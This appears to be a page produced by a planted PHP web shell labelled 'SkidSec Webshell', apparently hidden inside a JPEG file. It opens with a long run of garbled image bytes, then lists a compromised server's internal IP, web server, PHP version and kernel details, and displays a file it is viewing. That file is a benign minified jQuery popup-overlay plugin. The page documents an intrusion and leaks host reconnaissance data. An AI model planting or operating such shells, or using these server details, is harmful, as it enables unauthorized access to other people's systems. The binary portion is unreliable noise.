JFIF   ( %!1!%)+...383,7(-.+  ++-+++++-++-++--+--+-+-------+-++-+--+---+++--+7+-+"F!1AQaq"2BRb#3Sr$CDsT&!Q1Aa"2Rbq ?򉄘ǷLR HR,nNb .&W)fJbMOYxj-\bT2(4CQ"qiC/ " %0Jl"e2V  0SDd2@TV^{cW&F͉x9#l,.XɳvRZ C8S 6ml!@!E! `FS!M #(d)Q lml1ml Ų&x(ʨ2NFmj@D<dN5UN˄uTB emLAy#` ` ` I!I 6āHBxL & J#7BQ.$hv h q+tC"EJ) 8R e2U2Y@j%6PF^4LnNBp"8)4JI-ֲvK ^؊)hz[T5˗",Rҥf8ڤS4ʘ!`D ` X+ L,(hl)*S##`6[`0*L T H*HA@I&&r1kr*r*)N$#L  1#ZFSl `[( ("((he`4 Ch [="A R / 0I`twCDcWh"i) cLad\BcLKHZ"ZEW$Ƚ@A~i^`S *A&h:+c Y6vϕGClRPs.`H`(@<$qDe pL@DpLX, E2MP A  `II m& AQ "AT rbg# g2!SiLj*3L \ G;TFL`K BMy 2S`YLh1 d >-"ZfD^Q DH" RAbEV#Lfq,(rETp64-IJ!*p4F$q;G8DQ/TKP2$jp3KW]FtLtƉ1ol]VBgػJH6 )h61GJR7Nj.Z4piJRDd]t]0dP]:N.b'⹙SvDSz]L,_#ugT&[~?cS^"{Bh{/=ۑxOk̳O59o dar793`)SeYM@\ "$E(Tm&)N2Ih)F5EDed(FS,Pa @!@#@lea HCD$11jCLJqcod S3yd*,lL+QEfsgW1nw)cT#dS HXkFJB"6(ʝH)H"#EZh:Y`khݳh%Sc<mlAko2]gDqQtro=3OƸU9_-t8UvW3sGəg*#:c)><"wc\ASmT|6Ę>9~#1Ƈ~ڒE1vVi# I MM#u$8W 5ǍfƬΜg*Qpi1ȩFOf۔S,/⎯(Lrմ`(Z LsbA \6 6dm[I=!r:REI.wgzG)ԇSbӑxuׇTyyL^e'x^ty4Z&eB]I|v59Jjhm;Ng񷫳n<ϞҼѝjk;׹DlY^ҍ\+x9V!j([cmS.NO6jxNζrm&oײizT$N>?~ Sl-:iڥk\at#E!CL`.O0a*w/WV7/r)DŽt7'Nĵ#7O1 ]{[/-2bA<$&Gm_4t)_>)mjG;V^'k59o>ɌM,ؾf9z6 4v_3T.5V/RD-5 %T5XTޫ4TaZ`U *ƱUƲ UG"5+sJJ2E9#܎kr2G3Bb,XM6H: ?@p!'\4V02aԙ) hbZ]:` ev3ʘ'}!ohȒ*TJjr[RFyQ*#{h{R]J]Lr-.D-.җfo$D ?X0%~1P.Og{cWϫ22&Ϭ_V.W3nmiOl}+!˫#`kR33aUb0-g:qmsέ+0HO|&nhOn+}n5QF_"gvLm/z'+r'n_oC语i|1}Gi|}_D~9JZ_%DVQp\koۅjAs~/c0ksUJi^W9W5!>?O:q|ˣSIB/&K<(lg(%Wg$|LW7vߤW߇q|jef3D H\S6(eJb*@&sTKTW/*@v:.N- @ITʓ1Zg&-eꓝM r]EMס{q$b]'7Z7N:O~lNlP7iͲk)$O^퉢<YSD*hr'Z#5e6t[Fdh AJǔP9P 1\R).Il+jI*,(ܢ22N*OwKFX gc?\mB7iA+εe8 "ġ/p5pW-$މ-[a 5ViAW/V{/&UsF./՞ҕ*)rZg.^_+gt_z-oAbqQn*WlHyZ*\TaEewlLR3ԹȭN}MM}aih"5ܕRT$:~'TcT|*)xGC>n+r{XU xuF"<~67у'fxlf`r3D*#Z1ђfH`2dIWo/qB| 63xxW6^m%Kvg>\>x>!H5Nr8J/FJ9Wx(Hou" S'kWاC\9ְ#^OaҮ+~gnkuЉ,aWU*1 읍jnb|e= :2.UL`Q}YS&gI.c=a`%j:C%2@^>])25/ܙ<lzwɛ)ݣS4h3=J tyϬ.E7 8ڞGZu\_JHsݢϑ}IZ"ӳ=X<Ɖ2{a:{7L+>V}c)*lo Yv&+|L;>+/Sj26K+澡*;>-s"}M2] Ig5aCL*r"&\} #^R.7_Mgf}.ߌy(}Z\gP&ʠHj%</{.]rߙQ`>;5g;u6dԛ %xb|oՋTJ5Ϥ(]XqP>f{Jk2,8'~ZU6tMQsg XKg^2ϓ3},[wo۴I|ܷ%[Ol\Pkr]Y//cg6U⧻/VПi8ys_n<\~cze!!H~x;QJZKȮ^ȧG|cS~8ji,Fo+,y~?pk)u /in3JmkX(Mj1N 4c Epc>BO *LfQO&` c;LjcYf 1ɻ)CLsY^Y5" lP/wuEln&dav,(;'W9ej ku`-KHI՟%ԁʁ 1\}?OjsF^Xn$Ё.օC>D:?I @aGE.ĩ1 $ et~T`߸Ir'RX.Zwc%~U=r>-UaFbǺ?R=Z?i'[ASS;siJrzy>nxu$[_B\4}:r'ҵj1_v-[;y?ֹ0I16 . M%4^!S&t ! h !zQð.bBT ?@]?CHq(rd!.$>/x+bnʎNN#w)` )*f!-ɂ\(طYLHzc`Uq7BfCcE0ԉ4Fم쏠ce5T r͸GVlФ?ѣ} mhrkly.Ts㷖)Mө S^%'g>wk%bP[}j~ǾV#K -Fgv켼ǨgɼeSz/6{M=BPZFu\Q75n3Iݤ.W9QfF{vJwF't[@iVj4G~KOnH߿_Do=.c.One?E+GfGN⧭H?4;u`ua|V-+j4?48n ɦ=-]puv&Jc}K>b%U x8pz6L8AXFsW]N55ҦbIWZQ7ï Ԗ3cjz匩ӺOTɖƴ%a'MI}cdR$ݚIζ̝ LIu>J3{^෠㜦˯xܿe\b"2y'x{ RDW b+o2KFhR0:U늞En>լRӉt Iڹ\ wշQEv"v;EJ)yl[5:F0=b4,\PqKtv4{bQz:>C7"8W#Zjdd| cjz%K %Z 9dD{=NFʳAƩtI)kS*s$`:A\ʬ*ֹ9{Nl|eJ١rQnM%z_#x_•TO><)kyD %GN<~y>vfǧB)F)c\lې(#\ h`fgfjTBdhhHL2Y0^ Y0^-"D!QaI15 m~ gՒd|;#gMn(P$l H.R2^PU")pN` N8󫅂OJ;^jz\uumJMF|ηq[]$Vrrt:Q^;QPkHՠ{]HwˆMuIr7!r&- j%"9LtUb56+^TWBqdhHAD7 HwKH^F3LIq #hK`]IWKiH?کǴeԥQ>g{^q^>HKoOB||8aݏS}{S_]ϸ/X~ܵw'OSPAf֩ܟ[>7 @[ֵ;G߇QU*Cթ *OKU^zz[fRnpcJX9u<iq8B]u8 ]I,;[G#2W.¸D8rPG Y%PBJ= wo;PJgx6;yB`3zZGPAͫy{5Nb_re*ONHR]Ji)U{Ӓ:qqɏ[mB4࢒I$ 2vpBADY`DIVAn"Bh$&&cMbdB 鮆wHR'E(ѸZA*H~{B M҅n\@N{7ISCp Vd( r+bg|ns:qg:|J|ɪV.UVaAS͓FyRuLѦT騬 `3􏳕{eo/Tz8DkW?,cl~TqLne֠[B*D +t 6˦S;5KjV3e WBrT.XSHm sl5F%NGM`Y )": J!W4]HTrPX2 QYɕ\m2VLd+`,^ѺiPztUGY6+cӧ6] U%u/ˈFOiB*nFF#ұJ Z/c')?Q͟5.8E~G6e<\?}GkhMFUظOqhEA - "`dQ#(4Ԧf VLmc@q5J8K; M^JZnn)9Zm\ qIJqS: i[9~Oaƒ]Z4F&+666( N]쁼LM(oyvUI/Χ[ھ]hTˉG".SeYgu;hRDtڬv=5 ׁqMS\Ȭi5D]1$*0UL1QY`QdLb[+z9";'yi`OT/4{@EZ'Y0>4I*d nM#5hі.vrM[]Ä;]\ʦS,叕DQZq0fӌI͋]TNK"#;?F;aURx_4WDm+F*0XJE@){ 1R-E2(@Qh l D rT.Q;[J;[`30`ɀ 2#=JeSsxRjG=`H rLJ@ Y$JaB2/x( "Id'6O0CI$:Ol+}I>[L|iK+]ZrH*2Aʶ uHRd)OrrbSx=5dmue1neܬ"e>Lw94勲u ҏ_4GuоJw]QtgSk(qW(6h|v= 1=P/\YZ|R>"*5W/ίR'o %R$5= .!VIRMf4*aR5nv% Usj:V Lj]Bn/TZ&.2„ܒBP)aYRʌW!#ErGf';tW$czI*\KI,c7Zc-ўj|p+-ђ{eg 2;R_{VLM]7sؒFmԻy853gҾqJG!E̤ӏqzs༿? U#R)ŧU(,>,&,-^e^۔.b EW^n<)\9.QeJuFiSh2"EL8yeCKQD\5R,D5.P]c1STt*ZFJ.T:N #%]M}khOe(͓iEMsɆ3( YF<"Ly^*[ry6.ɸm k݊iT%nM8 $Q#F# q 1*?% iS^4oܗ wWPS,aNޖxOxڽqp#F6&o,7LJuMΤK(Td{U Ƹf|q5U{3[FLNK6ӵQY5+'>Q3FSk).&:5z yZq/*q$d+Ge+$lO@Nڤy5eBvˌ䖥shS:JksgksF ꧸oi-FYxy9[Vȼĝ'_.[y2U*c?E+:TsWՀgOS> z75>ncߏ-Kz8ԋ,Ϧ70Z9_1h$Xiu10)0$+$! qsE4wRkh2*T.s%DH:`:=k.'WB{ ȮRGҷ7чVg)CHS}1ݍԳۂ<8g_4y*-Ml\]mZT)mJ~|k<6zWjf4'*u%RNRȉZA) .VLtp 4 V&mtJ#l˅;&{]8>TmhoLXOeD^_J>]jsSej﫦iOM SK([!Vc5zn-A@p]Ӄ \3kmK>#-sܧ?NLar@Js?…Xldny]݌E5•9.8hh69#7js׳R,'pqt:kgPhRԄ+ՕG9}="ֲ\kǁm R73pg$t3+o |o\]'ee5ɐ.7ѐ|ZعSF{qkx5-$Q h5*1yM$ 7)hJ2Kg`-hn*>)EYDIkBpȩAzfǪ>7O K#lߤg]:u~huُ۵u}(mjGIj܏6ES~/5CiRy|kVKGBޭ3;w /jꏈUu>iƪi:WRo'yr4C/?c:w!?\'?#Q:>u/?uEeuG*xY2)?־CAr*23_ץ}գk1%(_ _6aԗ _4 $ϗ+ϫɆzǾIgu?Y<#_xS>i\uɇ۽r}[ͫyRoWCC!H,iD։"Cj5 4] cTk2YZRBvRY~FqQt^RO-g"QP]Ih/t:ljs YӹqI] wqXp KV+8j} uu8PGP&zF:;8+ Sx9(. Q}:ƻWr,Ũ*'shfƧ-6__5,DH{* qp묘G MA}QRe{dyMucǨɾ7߈Avϩe͜jmUi p3\5,ާbf:o+7#ܾ~iU#up=}˄k{NV8m!ҌiptޜBvKi}!ש3UK)`igӞVMR'J[ky~g&6vǍ7ķ>uXd(3瓓[]QTTqnͮz1~_͓k俸0~Z1գ =18cL 5^lf^k^<ҲJɬcC-[^;J8j_q=WpeA_6 4.Ntc>Sv2Jf;G8. 5[,;ArSTˬmpmzjGe EoǩOgDWaGhz<|kT\$Q=u/ci˜S mN&Ok~'0,a} s + NC-G'(*>vw~&*wYG Ŷ K-L/$߮l/A/^:Z@X- Q-D2`@M2+w$Q"胊"47&+Dh'9Y* L7VhT+ -?K]Ik \Ϣgy) s v z)Z ˦2&ލ OjmG9@8F_u䊜r>3K%Yg-FFI]e+Kxkzװy"\Q4Ri'0+P=V&Sw3N/U|UEt*uS c M*tsBE 2ʃ@Kir(˫LRr璜Zy@].%NbXvz덟 hӰNMe#|g͒po9^licxB[e' {U? mlt%?霋ǒxZc X]ϗ15SeE{-Ӕi~DƯO|ë5a@G=%<ƧAs*+tzo, IpȔ|:X6J3Z5JXd]2 3%v*GvE@(S&SX7D0^{5t Z{ﮄsh- ]ɑqEV=^Ki9äBtI@&pEg*O<`F-}ǎ51H,<~qibQѓɳx#l$G9td1U+Sq%B[jOq+^ޏ7K >YY  $KK{*˝e"|$g"6v,,9.DaA,qэI~ܨ|kdv; hz2]x5{M5M~yלqTzUl9Mӏ.WVnkun !jzKO!v|& ;gۇ2BrI閵C tqHe[Zkގ=Q;OԶiᵞBcIU eN cOGz S__>.hNgG6).J$_Taѯ5^LqeB]O?A]H;ò{^0ٺuޚxB|:q'xu4"9Ο7k^eZ_fQOmzm̗{c3ٵKO|m*ek(8"yO(ٵ{LJb2Ǩkgg1_/qrDՆ[_l\ I~Bsc/x ),,̿@PFޞ>O)<<=5m=^x6}~6qoYGޣiY{uN+<,CǚwVxe~c!,5R4u/9In=G•^PF6ɼM򿶤$"\|78ؖYU cXFOKc4s-=6O<;.ϴ޶$q>e? qY}StirX?e/&R'ʑ[ѯMi{?8\g^>\!-VZCf.ȾzRWMh_{^H)mz}V%չM.EJUz7z>ZW6\BW~:W3!S_4~m ǚ! ;VeGKFڵ858Buj:ZZ(/H׭eav!$gpLV)țAJO~YBꤞ厅XJdjg{hR9~_f '5U+}W5%ZjzgTtozYD @%JK\qymeЪKIIp"xoz\B1$G)8Ԅ Jeyc".yyVBR-%BEA-k^Luj cYwԄ%X!e-4ZRḡlJvYsB԰˗0?RM\TlaߏVu4BmY!UyYylgd!m2$i=[hN,6)_~7͖CDF2zÕ{?l;Hܲk׋!/XAłrCXEI{]P[e! ?%Ktqܱ5! jַĞ*TvAG)fuxTҖV7~ 4=r! ob%jTwU$Bnqed䤿@0P&V]HJ)^YrޯĿbsY8=1! n}UD*7uƫi~!s[W{V9J;~Ӯ|[3s۷dڔIj?qJ'O,IkE]G(5\ۖ7)-g,ŶǗ=~e>k쐁%(g˦o[fxN_baGBm:܆VGЗ,G_D!/og,ҢVܤ_iS_~@ SkidSec Webshell

SkidSec WebShell

Server Address : 172.31.38.4

Web Server : Apache/2.4.58 (Ubuntu)

Uname : Linux ip-172-31-38-4 6.14.0-1017-aws #17~24.04.1-Ubuntu SMP Wed Nov 5 10:48:17 UTC 2025 x86_64

PHP Version : 7.4.33



Current Path : /var/www/html/pmi/js/



Current File : //var/www/html/pmi/js/BackPopUp.js
// JQUERY.POPUPOVERLAY.JS
!function (t) { var e, o, i = t(window), n = {}, a = [], s = [], p = null, d = "_open", l = "_close", r = [], c = null, u = /(iPad|iPhone|iPod)/g.test(navigator.userAgent), f = "a[href], area[href], input:not([disabled]), select:not([disabled]), textarea:not([disabled]), button:not([disabled]), iframe, object, embed, *[tabindex], *[contenteditable]", h = { _init: function (e) { var o = t(e), i = o.data("popupoptions"); s[e.id] = !1, a[e.id] = 0, o.data("popup-initialized") || (o.attr("data-popup-initialized", "true"), h._initonce(e)), i.autoopen && setTimeout(function () { h.show(e, 0) }, 0) }, _initonce: function (o) { var i, n, a = t(o), s = t("body"), l = a.data("popupoptions"); if (p = parseInt(s.css("margin-right"), 10), c = void 0 !== document.body.style.webkitTransition || void 0 !== document.body.style.MozTransition || void 0 !== document.body.style.msTransition || void 0 !== document.body.style.OTransition || void 0 !== document.body.style.transition, "tooltip" == l.type && (l.background = !1, l.scrolllock = !1), l.backgroundactive && (l.background = !1, l.blur = !1, l.scrolllock = !1), l.scrolllock) { var r, f; "undefined" == typeof e && (r = t('<div style="width:50px;height:50px;overflow:auto"><div/></div>').appendTo("body"), f = r.children(), e = f.innerWidth() - f.height(99).innerWidth(), r.remove()) } if (a.attr("id") || a.attr("id", "j-popup-" + parseInt(1e8 * Math.random(), 10)), a.addClass("popup_content"), l.background && !t("#" + o.id + "_background").length) { s.append('<div id="' + o.id + '_background" class="popup_background"></div>'); var b = t("#" + o.id + "_background"); b.css({ opacity: 0, visibility: "hidden", backgroundColor: l.color, position: "fixed", top: 0, right: 0, bottom: 0, left: 0 }), l.setzindex && !l.autozindex && b.css("z-index", "100000"), l.transition && b.css("transition", l.transition) } s.append(o), a.wrap('<div id="' + o.id + '_wrapper" class="popup_wrapper" />'), i = t("#" + o.id + "_wrapper"), i.css({ opacity: 0, visibility: "hidden", position: "absolute" }), u && i.css("cursor", "pointer"), "overlay" == l.type && i.css("overflow", "auto"), a.css({ opacity: 0, visibility: "hidden", display: "inline-block" }), l.setzindex && !l.autozindex && i.css("z-index", "100001"), l.outline || a.css("outline", "none"), l.transition && (a.css("transition", l.transition), i.css("transition", l.transition)), a.attr("aria-hidden", !0), "overlay" == l.type && (a.css({ textAlign: "left", position: "relative", verticalAlign: "middle" }), n = { position: "fixed", width: "100%", height: "100%", top: 0, left: 0, textAlign: "center" }, l.backgroundactive && (n.position = "absolute", n.height = "0", n.overflow = "visible"), i.css(n), i.append('<div class="popup_align" />'), t(".popup_align").css({ display: "inline-block", verticalAlign: "middle", height: "100%" })), a.attr("role", "dialog"); var v = l.openelement ? l.openelement : "." + o.id + d; t(v).each(function (e, o) { t(o).attr("data-popup-ordinal", e), o.id || t(o).attr("id", "open_" + parseInt(1e8 * Math.random(), 10)) }), a.attr("aria-labelledby") || a.attr("aria-label") || a.attr("aria-labelledby", t(v).attr("id")), "hover" == l.action ? (l.keepfocus = !1, t(v).on("mouseenter", function (e) { h.show(o, t(this).data("popup-ordinal")) }), t(v).on("mouseleave", function (t) { h.hide(o) })) : t(document).on("click", v, function (e) { e.preventDefault(); var i = t(this).data("popup-ordinal"); setTimeout(function () { h.show(o, i) }, 0) }), l.closebutton && h.addclosebutton(o), l.detach ? a.hide().detach() : i.hide() }, show: function (n, d) { var u = t(n); if (!u.data("popup-visible")) { u.data("popup-initialized") || h._init(n), u.attr("data-popup-initialized", "true"); var f = t("body"), v = u.data("popupoptions"), g = t("#" + n.id + "_wrapper"), m = t("#" + n.id + "_background"); if (b(n, d, v.beforeopen), s[n.id] = d, setTimeout(function () { r.push(n.id) }, 0), v.autozindex) { for (var y = document.getElementsByTagName("*"), _ = y.length, k = 0, w = 0; _ > w; w++) { var z = t(y[w]).css("z-index"); "auto" !== z && (z = parseInt(z, 10), z > k && (k = z)) } a[n.id] = k, v.background && a[n.id] > 0 && t("#" + n.id + "_background").css({ zIndex: a[n.id] + 1 }), a[n.id] > 0 && g.css({ zIndex: a[n.id] + 2 }) } v.detach ? (g.prepend(n), u.show()) : g.show(), o = setTimeout(function () { g.css({ visibility: "visible", opacity: 1 }), t("html").addClass("popup_visible").addClass("popup_visible_" + n.id), g.addClass("popup_wrapper_visible") }, 20), v.scrolllock && (f.css("overflow", "hidden"), f.height() > i.height() && f.css("margin-right", p + e)), v.backgroundactive && u.css({ top: (i.height() - (u.get(0).offsetHeight + parseInt(u.css("margin-top"), 10) + parseInt(u.css("margin-bottom"), 10))) / 2 + "px" }), u.css({ visibility: "visible", opacity: 1 }), v.background && (m.css({ visibility: "visible", opacity: v.opacity }), setTimeout(function () { m.css({ opacity: v.opacity }) }, 0)), u.data("popup-visible", !0), h.reposition(n, d), u.data("focusedelementbeforepopup", document.activeElement), v.keepfocus && (u.attr("tabindex", -1), setTimeout(function () { "closebutton" === v.focuselement ? t("#" + n.id + " ." + n.id + l + ":first").focus() : v.focuselement ? t(v.focuselement).focus() : u.focus() }, v.focusdelay)), t(v.pagecontainer).attr("aria-hidden", !0), u.attr("aria-hidden", !1), b(n, d, v.onopen), c ? g.one("transitionend", function () { b(n, d, v.opentransitionend) }) : b(n, d, v.opentransitionend), "tooltip" == v.type && t(window).on("resize." + n.id, function () { h.reposition(n, d) }) } }, hide: function (e, i) { var n = t.inArray(e.id, r); if (-1 !== n) { o && clearTimeout(o); var a = t("body"), d = t(e), l = d.data("popupoptions"), u = t("#" + e.id + "_wrapper"), f = t("#" + e.id + "_background"); d.data("popup-visible", !1), 1 === r.length ? t("html").removeClass("popup_visible").removeClass("popup_visible_" + e.id) : t("html").hasClass("popup_visible_" + e.id) && t("html").removeClass("popup_visible_" + e.id), r.splice(n, 1), u.hasClass("popup_wrapper_visible") && u.removeClass("popup_wrapper_visible"), l.keepfocus && !i && setTimeout(function () { t(d.data("focusedelementbeforepopup")).is(":visible") && d.data("focusedelementbeforepopup").focus() }, 0), u.css({ visibility: "hidden", opacity: 0 }), d.css({ visibility: "hidden", opacity: 0 }), l.background && f.css({ visibility: "hidden", opacity: 0 }), t(l.pagecontainer).attr("aria-hidden", !1), d.attr("aria-hidden", !0), b(e, s[e.id], l.onclose), c && "0s" !== d.css("transition-duration") ? d.one("transitionend", function (t) { d.data("popup-visible") || (l.detach ? d.hide().detach() : u.hide()), l.scrolllock && setTimeout(function () { a.css({ overflow: "visible", "margin-right": p }) }, 10), b(e, s[e.id], l.closetransitionend) }) : (l.detach ? d.hide().detach() : u.hide(), l.scrolllock && setTimeout(function () { a.css({ overflow: "visible", "margin-right": p }) }, 10), b(e, s[e.id], l.closetransitionend)), "tooltip" == l.type && t(window).off("resize." + e.id) } }, toggle: function (e, o) { t(e).data("popup-visible") ? h.hide(e) : setTimeout(function () { h.show(e, o) }, 0) }, reposition: function (e, o) { var n = t(e), a = n.data("popupoptions"), s = t("#" + e.id + "_wrapper"); t("#" + e.id + "_background"); if (o = o || 0, "tooltip" == a.type) { s.css({ position: "absolute" }); var p; p = a.tooltipanchor ? t(a.tooltipanchor) : a.openelement ? t(a.openelement).filter('[data-popup-ordinal="' + o + '"]') : t("." + e.id + d + '[data-popup-ordinal="' + o + '"]'); var l = p.offset(); "right" == a.horizontal ? s.css("left", l.left + p.outerWidth() + a.offsetleft) : "leftedge" == a.horizontal ? s.css("left", l.left + p.outerWidth() - p.outerWidth() + a.offsetleft) : "left" == a.horizontal ? s.css("right", i.width() - l.left - a.offsetleft) : "rightedge" == a.horizontal ? s.css("right", i.width() - l.left - p.outerWidth() - a.offsetleft) : s.css("left", l.left + p.outerWidth() / 2 - n.outerWidth() / 2 - parseFloat(n.css("marginLeft")) + a.offsetleft), "bottom" == a.vertical ? s.css("top", l.top + p.outerHeight() + a.offsettop) : "bottomedge" == a.vertical ? s.css("top", l.top + p.outerHeight() - n.outerHeight() + a.offsettop) : "top" == a.vertical ? s.css("bottom", i.height() - l.top - a.offsettop) : "topedge" == a.vertical ? s.css("bottom", i.height() - l.top - n.outerHeight() - a.offsettop) : s.css("top", l.top + p.outerHeight() / 2 - n.outerHeight() / 2 - parseFloat(n.css("marginTop")) + a.offsettop) } else "overlay" == a.type && (a.horizontal ? s.css("text-align", a.horizontal) : s.css("text-align", "center"), a.vertical ? n.css("vertical-align", a.vertical) : n.css("vertical-align", "middle")) }, addclosebutton: function (e) { var o; o = t(e).data("popupoptions").closebuttonmarkup ? t(n.closebuttonmarkup).addClass(e.id + "_close") : '<button class="popup_close ' + e.id + '_close" title="Close" aria-label="Close"><span aria-hidden="true">×</span></button>', t(e).data("popup-initialized") && t(e).append(o) } }, b = function (e, o, i) { var n = t(e).data("popupoptions"), a = n.openelement ? n.openelement : "." + e.id + d, s = t(a + '[data-popup-ordinal="' + o + '"]'); "function" == typeof i && i.call(t(e), e, s) }; t(document).on("keydown", function (e) { if (r.length) { var o = r[r.length - 1], i = document.getElementById(o); t(i).data("popupoptions").escape && 27 == e.keyCode && h.hide(i) } }), t(document).on("click", function (e) { if (r.length) { var o = r[r.length - 1], i = document.getElementById(o), n = t(i).data("popupoptions").closeelement ? t(i).data("popupoptions").closeelement : "." + i.id + l; t(e.target).closest(n).length && (e.preventDefault(), h.hide(i)), t(i).data("popupoptions").blur && !t(e.target).closest("#" + o).length && 2 !== e.which && t(e.target).is(":visible") && (t(i).data("popupoptions").background ? (h.hide(i), e.preventDefault()) : h.hide(i, !0)) } }), t(document).on("keydown", function (e) { if (r.length && 9 == e.which) { var o = r[r.length - 1], i = document.getElementById(o), n = t(i).find("*"), a = n.filter(f).filter(":visible"), s = t(":focus"), p = a.length, d = a.index(s); 0 === p ? (t(i).focus(), e.preventDefault()) : e.shiftKey ? 0 === d && (a.get(p - 1).focus(), e.preventDefault()) : d == p - 1 && (a.get(0).focus(), e.preventDefault()) } }), t.fn.popup = function (e) { return this.each(function () { var o = t(this); if ("object" == typeof e) { var i = t.extend({}, t.fn.popup.defaults, o.data("popupoptions"), e); o.data("popupoptions", i), n = o.data("popupoptions"), h._init(this) } else "string" == typeof e ? (o.data("popupoptions") || (o.data("popupoptions", t.fn.popup.defaults), n = o.data("popupoptions")), h[e].call(this, this)) : (o.data("popupoptions") || (o.data("popupoptions", t.fn.popup.defaults), n = o.data("popupoptions")), h._init(this)) }) }, t.fn.popup.defaults = { type: "overlay", autoopen: !1, background: !0, backgroundactive: !1, color: "black", opacity: "0.5", horizontal: "center", vertical: "middle", offsettop: 0, offsetleft: 0, escape: !0, blur: !0, setzindex: !0, autozindex: !1, scrolllock: !1, closebutton: !1, closebuttonmarkup: null, keepfocus: !0, focuselement: null, focusdelay: 50, outline: !1, pagecontainer: null, detach: !1, openelement: null, closeelement: null, transition: null, tooltipanchor: null, beforeopen: null, onclose: null, onopen: null, opentransitionend: null, closetransitionend: null } }(jQuery);